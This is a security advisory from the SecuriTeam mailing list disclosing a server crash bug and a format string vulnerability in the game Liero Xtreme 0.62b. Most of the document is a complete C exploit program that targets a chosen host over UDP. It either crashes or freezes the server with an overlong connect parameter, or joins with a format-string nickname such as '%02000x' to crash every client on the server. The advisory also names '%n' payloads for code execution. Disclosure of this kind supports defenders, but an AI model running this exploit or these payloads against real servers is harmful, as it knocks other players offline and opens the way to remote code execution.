[NT] Liero Xtreme Multiple Vulnerabilities



The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



Liero Xtreme Multiple Vulnerabilities
------------------------------------------------------------------------


SUMMARY

<http://lieroxtreme.thegaminguniverse.com> Liero Xtreme (aka Lierox) is
"a freeware clone of the classic DOS game called Liero, and is mainly
focused on the possibility of expanding and customizing the game through
mods, levels and skins. Both LAN and Internet multiplayer (through the
master server) are supported". The Liero Xtreme product has been found to
contain multiple security vulnerabilities allowing a remote attacker to
cause the program to crash, as well as execute arbitrary code via a format
string vulnerability.

DETAILS

Vulnerable Systems:
* Liero Xtreme version 0.62b

A] Server crash/freeze
The server can be easily crashed or freezed using a long string with the
"connect" command. The problem is caused by the instructions used by the
game for handling the data of this command which in some cases lead to the
immediate crash of the server or a loop which freezes the game.

B] Format String in the Visualization Function
The client's function which visualizes the messages on the screen
(0x004052d0) is affected by a format string vulnerability which can be
used to execute malicious code. Exist different ways for exploiting this
bug but the most interesting are the following:
- Joining a server using a properly formatted nickname (like %n%n%n%n or
%02000x) which will be visualized by all the clients currently in the
server and all the others which will join when the attacker is playing. In
this type of exploitation if the server is protected by password the
attacker must know the right keyword

- Hosting a dedicated server visible on the master server (default) with
a formatted name, so any client which will enter in the "Join Internet
Server" menu will be exploited immediately

- Creating a level file (.lxl extension) with a properly formatted
mapname

Exploit:
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <time.h>

#ifdef WIN32
#include <winsock.h>
#include "winerr.h"

#define close closesocket
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>

#define stricmp strcasecmp
#define stristr strcasestr
#define ONESEC 1
#endif



#define VER "0.1"
#define BUFFSZ 4096
#define PORT 23400
#define TIMEOUT 1
#define TWAIT 5
#define CRASHSZ 200 // 128 or more
#define FSTRING "%02000x"



void delimit(u_char *data);
void show_info(u_char *data);
int lierox_build_pck(u_char *buff, u_char *cmd, u_char *id, ...);
int mycpy(u_char *dst, u_char *src);
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int
err);
int create_rand_string(u_char *data, int len, u_int rnd);
int timeout(int sock);
u_int resolv(char *host);
void std_err(void);



struct sockaddr_in peer;



int main(int argc, char *argv[]) {
struct sockaddr_in peerl;
u_int seed;
int sd,
len,
attack;
u_short port = PORT;
u_char password[33],
nick[CRASHSZ + 1],
buff[BUFFSZ],
id[4], // I use char for endian compatibility
*cmd,
*details;

#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif


setbuf(stdout, NULL);

fputs("\n"
"LieroX <= 0.62b multiple vulnerabilities " VER "\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@xxxxxxxxxxxxx\n"
"web: http://aluigi.altervista.org\n";
"\n", stdout);

if(argc < 3) {
printf("\n"
"Usage: %s <attack> <host> [port(%hu)]\n"
"\n"
"Attack:\n"
"1 = server crash/freeze\n"
"2 = in-game nickname format string versus all the clients in
the server\n"
"\n", argv[0], port);
exit(1);
}

attack = atoi(argv[1]);
if(argc > 3) port = atoi(argv[3]);

peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

peerl.sin_addr.s_addr = INADDR_ANY;
peerl.sin_port = htons(time(NULL));
peerl.sin_family = AF_INET;

printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);

seed = time(NULL);
cmd = buff + 8;
*password = 0;

fputs("- request informations\n", stdout);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();

len = lierox_build_pck(buff, "query", NULL);
*(u_short *)(buff + len) = ~seed;
len += 2;

len = send_recv(sd, buff, len, buff, sizeof(buff), 1);
show_info(buff);
close(sd);

sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();

redo:
len = lierox_build_pck(buff, "getchallenge", NULL);
len = send_recv(sd, buff, len, buff, sizeof(buff), 1);

if(stricmp(cmd, "challenge")) {
printf("\n"
"Error: wrong challenge reply received:\n"
" %s\n"
"\n", cmd);
exit(1);
}
memcpy(id, cmd + 10, 4);

seed = create_rand_string(nick, sizeof(nick), seed);

if(attack == 1) {
// the bug is NOT in the nickname, we must
// simply send a big parameter or value!
printf("- server crash/freeze attack (%d bytes)\n", sizeof(nick) -
1);
memset(nick, 'a', sizeof(nick) - 1);
nick[sizeof(nick) - 1] = 0;

} else if(attack == 2) {
printf("- client format string attack\n");
strcpy(nick, FSTRING);

} else {
printf("\nError: wrong attack number selected\n\n");
exit(1);
}

len = lierox_build_pck(buff, "connect", id,
"name", nick,
"skin", "default.png", // directory traversal but not
exploitable
"col_r", "128",
"col_g", "200",
"col_b", "255",
"packet_size", "400",
"update_rate", "8",
"spectator", "0",
"pass", password,
NULL, NULL);

len = send_recv(sd, buff, len, buff, sizeof(buff), 0);
if(len < 0) {
if(attack == 1) {
printf("\n- server seems crashed, I check it:\n");
len = lierox_build_pck(buff, "ping", NULL);
*(u_short *)(buff + len) = ~seed;
len += 2;
len = send_recv(sd, buff, len, buff, sizeof(buff), 0);
if(len < 0) {
printf("\n Server IS vulnerable!!!\n\n");
} else {
printf("\n Server doesn't seem vulnerable\n\n");
}
}

} else {
details = cmd + strlen(cmd) + 1;
if(details >= (buff + len)) details = "";

if(!stricmp(cmd, "goodconnection")) {
printf("\n"
"- the player is now in the server\n"
" any client inside it should have been crashed\n\n");

/* // if you need to send commands:
*(u_int *)buff = 0 | 0x80000000;
*(u_int *)(buff + 4) = 1;
buff[8] = 1;
len = 9 + mycpy(buff + 9, "command if needed");
len = send_recv(sd, buff, len, buff, sizeof(buff), 0);
*/

} else if(!stricmp(cmd, "badpassword")) {
printf("\n- server is protected. Insert the password
required:\n ");
fflush(stdin);
fgets(password, sizeof(password), stdin);
delimit(password);
goto redo;

} else {
printf("\n- player not accepted (%s)\n\n", details);
}
}

close(sd);
return(0);
}



void delimit(u_char *data) {
while(*data && (*data != '\n') && (*data != '\r')) data++;
*data = 0;
}



void show_info(u_char *data) {
data += 8;
data += strlen(data) + 1 + 2 + 2;

printf("\n Name: %s\n", data);
data += strlen(data) + 1;

printf(" Players: %hhu/%hhu\n", data[0], data[1]);
data += 3;

printf(" Mod: %s\n", data);
data += strlen(data) + 1;

printf(" Game: %s\n", data);
data += strlen(data) + 1;
}



int lierox_build_pck(u_char *buff, u_char *cmd, u_char *id, ...) {
va_list ap;
u_char *par,
*val,
*p;

p = buff;

memcpy(p, "\xff\xff\xff\xff", 4);
p += 4;

memcpy(p, "lx::", 4);
p += 4;

p += mycpy(p, cmd);

if(id) {
*p++ = 13;
memcpy(p, id, 4);
p += 4;

va_start(ap, id);
while((par = va_arg(ap, u_char *)) && (val = va_arg(ap, u_char
*))) {
p += mycpy(p, par);
*(p - 1) = ';';
p += mycpy(p, val);
*(p - 1) = '/';
}
va_end(ap);

*p++ = 0;
}

return(p - buff);
}



int mycpy(u_char *dst, u_char *src) {
u_char *p;

for(p = dst; *src; src++, p++) {
*p = *src;
}
*p++ = 0;
return(p - dst);
}



int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int
err) {
int retry,
len;

for(retry = 3; retry; retry--) {
if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
fputc('.', stdout);
if(!timeout(sd)) break;
}

if(!retry) {
if(!err) return(-1);
fputs("\nError: socket timeout, no reply received\n\n", stdout);
exit(1);
}

len = recvfrom(sd, out, outsz, 0, NULL, NULL);
if(len < 0) std_err();
fputc('.', stdout);

return(len);
}



int create_rand_string(u_char *data, int len, u_int rnd) {
const static u_char table[] =
"0123456789"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz";

len = rnd % len;
if(len < 3) len = 3;

while(--len) {
rnd = (rnd * 0x343FD) + 0x269EC3;
rnd >>= 3;
*data++ = table[rnd % (sizeof(table) - 1)];
}
*data = 0;

return(rnd);
}



int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;

tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}



u_int resolv(char *host) {
struct hostent *hp;
u_int host_ip;

host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_int *)(hp->h_addr);
}
return(host_ip);
}



#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif


ADDITIONAL INFORMATION

The information has been provided by <mailto:aluigi@xxxxxxxxxxxxx> Luigi
Auriemma.
The original article can be found at:
<http://aluigi.altervista.org/adv/lieroxxx-adv.txt>
http://aluigi.altervista.org/adv/lieroxxx-adv.txt



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • [NEWS] Empire Server DoS
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Improper handling of user input allows attackers to crash Empire server. ... static int ... line_recv(sd, buff, sizeof(buff)); ...
    (Securiteam)
  • [NEWS] OpenTTD Multiple DoS
    ... OpenTTD Client and Server. ... Clients are affected by an harmless bug when they handle UDP packets. ... int timeout; ... buff = malloc; ...
    (Securiteam)
  • [NEWS] Outgun Multiple Vulnerabilities (Multiple DoS, Multiple Buffer Overflows)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Multiple Buffer Overflows) ... The buffers in which the server stores these two strings have a size of 64 ... int alen, ulen; ...
    (Securiteam)
  • [UNIX] Multiple up-imapproxy DoS Vulnerabilities
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... connections open after client has logged out, ... allows attacker to cause the server to crash by sending them when they ... extern void HandleRequest(int); ...
    (Securiteam)
  • [NT] Stronghold DoS
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... In the packet used for joining the server is locatd the client's nickname ... unsigned char *gssdkcr( ... void show_info(u_char *data, int len); ...
    (Securiteam)